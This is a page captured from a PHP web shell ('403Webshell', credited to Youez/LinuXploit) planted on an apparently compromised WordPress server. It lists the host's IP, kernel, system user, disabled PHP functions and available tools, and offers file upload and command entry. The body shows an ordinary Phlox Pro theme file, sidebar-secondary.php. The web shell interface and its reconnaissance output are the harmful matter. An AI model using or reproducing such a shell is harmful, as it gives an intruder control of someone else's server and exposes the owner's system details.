403Webshell
Server IP : 219.234.31.115  /  Your IP : 216.73.217.134
Web Server : Apache
System : Linux ebs-140924 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 (2024-06-01) x86_64
User : vndaystarftp ( 67432)
PHP Version : 7.3.33
Disable Function : link,symlink,passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server,pcntl_fork,pcntl_rfork
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wwwroot/vndaystarftp/wwwroot/wp-content/themes/phlox-pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wwwroot/vndaystarftp/wwwroot/wp-content/themes/phlox-pro/sidebar-secondary.php
<?php
/**
 * Secondary sidebar
 *
 * 
 * @package    Auxin
 * @author     averta (c) 2014-2021
 * @link       http://averta.net
*/


    global $post;

    // if no result
    if( is_404() || empty( $post ) || is_search() ) {
        return;
    }


    // always generate secondary sidebar on customizer (useful for previewing live changes in sidebar positions)
    if( 2 === auxin_has_sidebar( $post ) || is_customize_preview() ) { ?>

            <aside class="aux-sidebar aux-sidebar-secondary">
                <div class="sidebar-inner">
                    <div class="sidebar-content">

<?php
        if( is_active_sidebar( 'auxin-global-secondary-sidebar-widget-area' ) ){
            echo '<div class="aux-widget-area">';
            dynamic_sidebar( 'auxin-global-secondary-sidebar-widget-area' );
            echo '</div>';
        }

        // get page template name
        $page_tempalte_name = get_post_meta( $post->ID, '_wp_page_template', TRUE );

        // if the current page is a blog page
        if ( ( $post->post_type == 'post' || strpos( $page_tempalte_name, 'blog' ) !== false ) && is_active_sidebar( 'auxin-blog-secondary-sidebar-widget-area' ) ) {
            echo '<div class="aux-widget-area">';
            if( is_active_sidebar( 'auxin-blog-secondary-sidebar-widget-area' ) ){
                dynamic_sidebar( 'auxin-blog-secondary-sidebar-widget-area' );
            }
            echo '</div>';

        } elseif( is_active_sidebar( 'auxin-pages-secondary-sidebar-widget-area' ) ){
            echo '<div class="aux-widget-area">';
            if( is_active_sidebar( 'auxin-pages-secondary-sidebar-widget-area' ) ){
                dynamic_sidebar( 'auxin-pages-secondary-sidebar-widget-area' );
            }
            echo '</div>';
        }

?>
                    </div><!-- end sidebar-content -->
                </div><!-- end sidebar-inner -->
            </aside><!-- end secondary siderbar -->

<?php
    }


Youez - 2016 - github.com/yon3zu
LinuXploit